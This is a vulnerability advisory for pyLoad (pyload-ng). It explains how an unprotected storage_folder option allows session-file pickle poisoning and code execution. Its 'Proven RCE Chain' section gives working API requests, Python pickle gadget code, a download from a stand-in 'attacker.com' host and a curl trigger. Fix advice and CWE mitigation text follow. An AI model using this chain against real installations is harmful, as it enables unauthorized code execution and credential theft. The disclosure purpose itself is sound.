GHSA-4744-96p5-mp2j CVE-2026-35464 PYSEC-2026-2989
pyLoad: Unprotected storage_folder enables arbitrary file write to Flask session store and code execution (Incomplete fix for CVE-2026-33509)
- Severity
- 7.5 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.53%
- Chance of exploitation in the next 30 days. Higher than 44.77% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
- None yet
- No fixed version published
Description
Summary
The fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an ADMIN_ONLY_OPTIONS set to block non-admin users from modifying security-critical config options. The storage_folder option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.
Required Privileges
The chain requires a single non-admin user with both SETTINGS (to change storage_folder) and ADD (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.
Root Cause
storage_folder at src/pyload/core/api/__init__.py:238-246 has a path check that blocks writing inside PKGDIR or userdir using os.path.realpath. However, Flask's filesystem session directory (/tmp/pyLoad/flask/ in the standard Docker deployment) is outside both restricted paths.
pyload configures Flask with SESSION_TYPE = "filesystem" at __init__.py:127. The cachelib FileSystemCache stores session files as md5("session:" + session_id) and deserializes them with pickle.load() on every request that carries the corresponding session cookie.
Proven RCE Chain
Tested against lscr.io/linuxserver/pyload-ng:latest Docker image.
Step 1 — Change download directory to Flask session store:
POST /api/set_config_value
{"section":"core","category":"general","option":"storage_folder","value":"/tmp/pyLoad/flask"}
The path check resolves /tmp/pyLoad/flask/ via realpath. It does not start with PKGDIR (/lsiopy/.../pyload/) or userdir (/config/). Check passes.
Step 2 — Compute the target session filename:
md5("session:ATTACKER_SESSION_ID") = 92912f771df217fb6fbfded6705dd47c
Flask-Session uses cachelib which stores files as md5(key_prefix + session_id). The default key prefix is session:.
Step 3 — Host and download the malicious pickle payload:
import pickle, os, struct
class RCE:
def __reduce__(self):
return (os.system, ("id > /tmp/pyload-rce-success",))
session = {"_permanent": True, "rce": RCE()}
payload = struct.pack("I", 0) + pickle.dumps(session, protocol=2)
# struct.pack("I", 0) = cachelib timeout header (0 = never expires)
Serve as http://attacker.com/92912f771df217fb6fbfded6705dd47c and submit:
POST /api/add_package
{"name":"x","links":["http://attacker.com/92912f771df217fb6fbfded6705dd47c"],"dest":1}
The file is saved to /tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c.
Step 4 — Trigger deserialization (unauthenticated):
curl http://target:8000/ -b "pyload_session_8000=ATTACKER_SESSION_ID"
The session cookie name is pyload_session_ + the configured port number (__init__.py:128).
Flask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls pickle.load(). The RCE gadget executes.
Result:
$ docker exec pyload-poc cat /tmp/pyload-rce-success
uid=1000(abc) gid=1000(users) groups=1000(users)
Impact
A non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:
- Execute arbitrary commands with the privileges of the pyload process
- Read environment variables (API keys, credentials)
- Access the filesystem (download history, user database)
- Pivot to other network resources
Suggested Fix
Add storage_folder to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):
ADMIN_ONLY_OPTIONS = {
...
("general", "storage_folder"), # ADDED: prevents session poisoning RCE
...
}
Also correct the existing wrong option names:
("webui", "ssl_certfile"), # FIXED: was "ssl_cert" (dead code)
("webui", "ssl_keyfile"), # FIXED: was "ssl_key" (dead code)
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| pyload-ng | <= 0.5.0b3 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-502: Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
How to prevent it
- Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- Implementation: When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
- Implementation: Explicitly define a final object() to prevent deserialization.
- Architecture and Design, Implementation: Make fields transient to protect them from deserialization. An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
- Implementation: Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
- Architecture and Design, Implementation: Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-68w4-83fh-f2w8 pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password | High | Also affects pyload-ng |
| GHSA-9q47-3cm2-2rp8 pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header | Medium | Also affects pyload-ng |
| GHSA-jq7h-wrvp-3rgx pyLoad: Privilege revocation and password change through the REST API do not invalidate the user's session | High | Also affects pyload-ng |
| GHSA-889w-m37p-88m5 pyLoad: Api.set_user_permission never invalidates the target's session | High | Also affects pyload-ng |
| GHSA-p3pr-8f3m-4qp8 pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host | Medium | Also affects pyload-ng |
| GHSA-fr26-jjhm-638c pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=) | High | Also affects pyload-ng |
| GHSA-r44w-v6gf-x3p6 pyLoad has an authentication bypass in API key validation (check_apikey cache) | High | Also affects pyload-ng |
| GHSA-j92p-c242-7hfx pyLoad: Unauthenticated access to /web/<path:filename> bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo | Medium | Also affects pyload-ng |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor